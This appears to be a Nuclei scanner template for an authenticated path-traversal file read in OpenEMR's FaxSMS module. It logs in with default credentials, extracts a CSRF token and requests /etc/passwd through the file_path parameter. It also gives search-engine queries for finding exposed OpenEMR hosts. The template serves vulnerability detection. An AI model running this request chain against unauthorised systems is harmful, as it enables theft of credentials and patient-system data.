Copy
id: CVE-2026-124450
info:
name: OpenEMR FaxSMS Module - Authenticated Arbitrary File Read via disposeDocument
author: DhiyaneshDK
severity: high
description: |
OpenEMR before 8.3.0 contains a broken access control and path traversal vulnerability in the fax/sms module disposeDocument action via an unvalidated file_path parameter. Authenticated low-privilege users can read sqlconf.php to recover database credentials and write arbitrary files as the web user, enabling remote code execution.
impact: |
Authenticated low-privilege users can read database credentials and execute arbitrary code, potentially leading to full system compromise.
remediation: |
Upgrade to OpenEMR 8.3.0 or later.
reference:
- https://github.com/Nxploited/CVE-2026-124450
- https://github.com/advisories/GHSA-x2vr-jgg8-c57c
- https://github.com/advisories/GHSA-wf4w-mx2w-j4vv
- https://nvd.nist.gov/vuln/detail/CVE-2026-124450
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2026-124450
epss-score: 0.02712
epss-percentile: 0.86751
cwe-id: CWE-22
metadata:
verified: true
max-request: 4
vendor: openemr
product: openemr
shodan-query: http.title:"OpenEMR"
fofa-query: title="OpenEMR"
tags: cve,cve2026,openemr,lfi,authenticated,vkev
variables:
username: "admin"
password: "pass"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET /interface/login/login.php?site=default HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "OpenEMR"
internal: true
- raw:
- |
POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
new_login_session_management=1&authProvider=Default&authUser={{username}}&clearPass={{password}}&languageChoice=1
host-redirects: true
max-redirects: 2
matchers:
- type: word
part: body
words:
- "encounter"
- "main_screen"
- "Logout"
condition: or
internal: true
- raw:
- |
GET /interface/modules/custom_modules/oe-module-faxsms/messageUI.php?type=fax&site=default HTTP/1.1
Host: {{Hostname}}
matchers:
- type: status
status:
- 200
internal: true
extractors:
- type: regex
name: csrf_token
part: body
internal: true
group: 1
regex:
- 'csrfToken\s*=\s*["\x27]([a-f0-9]{20,})["\x27]'
- 'name="csrf_token_form"[^>]*value="([^"]+)"'
- raw:
- |
GET /interface/modules/custom_modules/oe-module-faxsms/index.php?_ACTION_COMMAND=disposeDocument&type=fax&action=download&file_path=/etc/passwd&csrf_token_form={{csrf_token}}&site=default HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022035681862e0d95b18a3159acad147ae9c7d325c0537c0013181edd6ec1d7856f0022100fb9986221ec5b3aa44ff88d72ca0a3416de1e52810592c422acf705093020ddd:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.